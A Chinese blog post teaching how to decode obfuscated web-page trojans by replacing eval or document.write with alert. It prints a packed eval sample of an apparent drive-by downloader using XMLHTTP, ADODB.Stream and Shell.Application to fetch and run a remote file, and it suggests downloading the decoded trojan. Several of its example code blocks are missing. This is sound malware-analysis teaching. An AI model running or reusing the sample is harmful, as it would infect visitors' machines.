分享

介绍网页木马解密常用方法

 quasiceo 2014-05-23

主要介绍网页木马的eval和Document.write解密方法

一. eval加密是在网马解密中最常见的,eval在jscript脚本中实际上是一个函数,简单可以理解为执行语句的的意思。

Eval方法

1. 参数 :codeString 必选。包含有效 JScript 代码的字符串。eval 函数允许动态执行 JScript 源代码。

2. eval函数特点:是将字符串转换为脚本代码,然后就可以执行了,但是,如果字符串里面还有HMTL标签的话,它就不能执行了。

二. Eval解密方法之alert方法:

1.alert函数:

在要对eval解密之前首先需要了解一下alert这个函数,大家可能有个疑问,在解马的过程中怎样才能保证自身系统安全而又不中招呢,我们知道要是直接去访问一些经过加密的网马地址,就相当于在电脑上直接运行了网马。既要能将网马解出,又要保证系统的安全。这时我们就要用到alert这个函数。

alert函数在jscript中有弹出消息内容的作用,我们正是可以利用这一特性,来保证在解马的过程中不会中招。请看下面一个小例子:

将此段代码,粘贴至记事本中保存为htm格式(文件名随意),直接运行后可看到alert函数的效果。

了解以上内容后,接下来我们来看一个eval的实例:eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){pp=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))

将此段代码复制粘贴至记事本中,

将其中的eval修改为alert其余内容不变,但要加上

实际变为一个脚本。

保存为htm(文件名任意)处理后的代码如下:

解密结果见下图,

我们看到红色框内容为网马的下载地址,鼠标选中这个对话框,

ctrl+a全选再ctrl+c复制,可将整个代码粘贴至记事本上。

获得代码地址后,可使用下载工具直接下载网马。

\

第二部分,document.write解密网马

一.Document.write 函数简介:

在Microsoft JScript 提供了两种方式来在浏览器中直接显示数据。可以使用write( ) 和 writeln( ),这两个函数是document 对象的方法。也可以在浏览器中以表格的方式显示信息,以及用警告、提示和确认消息框来显示信息。

使用document.write( ) 和 document.writeln( )显示信息最常用的方式是 document 对象的 write( ) 方法。该方法用一个字符串作为其参数,并在浏览器中显示。该字符串可以是普通文本或 HTML。

字符串可以用单引号或双引号引起来。这样可以引用那些包含引号或撇号的内容。

注:Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上。

二.Document.write函数实例

例1:

将此段代码粘贴至记事本,保存为htm格式直接运行打开。这段代码的执行结果实际上是将hell world 在网页显示出来。

将上面的代码粘贴至记事本,保存为htm直接运行打开,这段代码的执行结果为在联网的情况下,直接会在网页上显示一个框架,而框架的内容为google网站。

我们来简单分析一下这两个例子的执行结果为什么不同:

例1实际上是一个简单的输出,就是将document.write函数后的内容输出至页面。

例2内容包含了html脚本标签:

、 src、 ,此时将会直接执行脚本,而执行的结果为在网页上显示一个框架,而框架的内容为瑞星官方网站。

例1和例2实际上是对“Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上”。这段话的一个印证。

Document.write解密方法之alert方法

即在获得的包含有document.write函数的网马代码中,将document.wirte替换为alert函数,将代码保存至记事本,扩展名为htm文件,直接浏览运行。

下面我们将结合一个实例来进行讲解:

某加密恶意网页内容如下:

This page requires a javascript enabled browser!!!

注意到其中红色部分,我们可以造个直接获取解密后文字的框:

修改后如下:   

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多